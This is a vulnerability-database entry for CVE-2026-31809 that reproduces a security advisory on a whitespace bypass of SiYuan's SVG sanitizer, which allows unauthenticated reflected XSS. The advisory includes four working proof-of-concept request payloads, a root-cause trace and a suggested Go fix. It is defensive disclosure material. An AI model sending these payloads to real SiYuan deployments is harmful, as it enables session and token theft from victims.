CVE-2026-31809
mediumpriority · track · 24EPSS 0.005 · 44 %ileEUUSEPSS · scored 2026-10-27
SiYuan is a personal knowledge management system. Prior to 3.5.10, SiYuan's SVG sanitizer (SanitizeSVG) checks href attributes for the javascript: prefix using strings.HasPrefix(). However, inserting ASCII tab (	), newline ( ), or carriage return ( ) characters inside the javascript: string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint, creating a reflected XSS. This is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9). This vulnerability is fixed in 3.5.10.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
- Go github.com/siyuan-note/siyuan/kernel< 0.0.0-20260310025236-297bd526708fosvUSpkg:golang/github.com/siyuan-note/siyuan/kernel
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-pmc9-f5qr-2pcrSiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS2026-03-10ghsa · osvUS
# SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS ## Summary SiYuan's SVG sanitizer (`SanitizeSVG`) checks `href` attributes for the `javascript:` prefix using `strings.HasPrefix()`. However, inserting ASCII tab (`	`), newline (` `), or carriage return (` `) characters inside the `javascript:` string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated `/api/icon/getDynamicIcon` endpoint, creating a reflected XSS. This is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9), [distinct from the `<animate>` element bypass](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5hc8-qmg8-pw27). ## Affected Component - **File:** `kernel/util/misc.go` - **Function:** `SanitizeSVG()` (lines 234-319) - **Specific check:** Line 271 — `strings.HasPrefix(val, "javascript:")` - **Endpoint:** `GET /api/icon/getDynamicIcon?type=8&content=...` (unauthenticated) - **Version:** SiYuan <= 3.5.9 ## Root Cause The sanitizer uses Go's `html.Parse` which decodes HTML entities in attribute values. When the input contains `java	script:alert(1)`, the parser decodes `	` to a literal tab character (U+0009). The sanitizer then checks: ```go val := strings.TrimSpace(strings.ToLower(a.Val)) // val is now "java\tscript:alert(1)" if strings.HasPrefix(val, "javascript:") { continue // This check FAILS — tab breaks the prefix match } ``` `strings.TrimSpace` only removes leading/trailing whitespace, not internal whitespace. The `HasPrefix` check fails because `"java\tscript:..."` does not start with `"javascript:"`. However, per the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), step 1 of URL parsing removes all ASCII tab and newline characters (U+0009, U+000A, U+000D) from the input. So the browser parses `java\tscript:alert(1)` as `javascript:alert(1)`. ## Proof of Concept ### Vector 1: Tab character (`	`) ``` GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java	script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue ``` ### Vector 2: Newline character (` `) ``` GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue ``` ### Vector 3: Carriage return (` `) ``` GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue ``` ### Vector 4: Multiple whitespace characters ``` GET /api/icon/getDynamicIcon?type=8&content=</text><a href="j	a v a	s c r	i p t:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue ``` ### Processing trace 1. **Input:** `<a href="java	script:alert(document.domain)">` 2. **html.Parse:** Decodes entity → attribute value = `java\tscript:alert(document.domain)` 3. **Sanitizer:** `TrimSpace(ToLower(val))` = `java\tscript:alert(document.domain)` (tab preserved in middle) 4. **HasPrefix check:** `"java\tscript:..."` does NOT start with `"javascript:"` → **passes through** 5. **html.Render:** Outputs literal tab character in href (tabs are not HTML-special) 6. **Browser URL parser:** Strips tab per WHATWG URL spec → `javascript:alert(document.domain)` 7. **User clicks link → JavaScript executes** ## Attack Scenario Same as CVE-2026-29183 / advisory #01: 1. Attacker crafts a malicious `getDynamicIcon` URL 2. Victim navigates to the URL (or is redirected) 3. SVG renders with `Content-Type: image/svg+xml` 4. Victim clicks the text link in the SVG 5. JavaScript executes in SiYuan's origin 6. Attacker steals session cookies, API tokens, or makes authenticated API calls ## Impact - **Severity:** CRITICAL (CVSS ~9.1) - **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation) - Unauthenticated reflected XSS via SVG injection - Executes in the SiYuan application origin - Bypasses the fix for CVE-2026-29183 - Independent of the `<animate>` element bypass (advisory #01) — different root cause ## Suggested Fix Replace the simple `HasPrefix` check with whitespace-stripped comparison: ```go // Strip ASCII tab, newline, CR before checking for javascript: prefix cleaned := strings.Map(func(r rune) rune { if r == '\t' || r == '\n' || r == '\r' { return -1 // Remove character } return r }, val) if key == "href" || key == "xlink:href" || key == "xlinkhref" { if strings.HasPrefix(cleaned, "javascript:") { continue } if strings.HasPrefix(cleaned, "data:") { if strings.Contains(cleaned, "text/html") || strings.Contains(cleaned, "image/svg+xml") || strings.Contains(cleaned, "application/xhtml+xml") { continue } } } ``` This should also be applied to the `data:` URI check, as the same whitespace bypass could potentially affect it.
- GO-2026-4669SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS in github.com/siyuan-note/siyuan/kernel2026-03-12vendor · osvUS
SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS in github.com/siyuan-note/siyuan/kernel
also known as (5)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (4)
External citations — patches, advisories, analysis.
- https://b3log.org/siyuan/download.htmlPatchcnnvd
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-pmc9-f5qr-2pcrcnnvd
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-pmc9-f5qr-2pcrenisa_euvd
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-pmc9-f5qr-2pcrExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan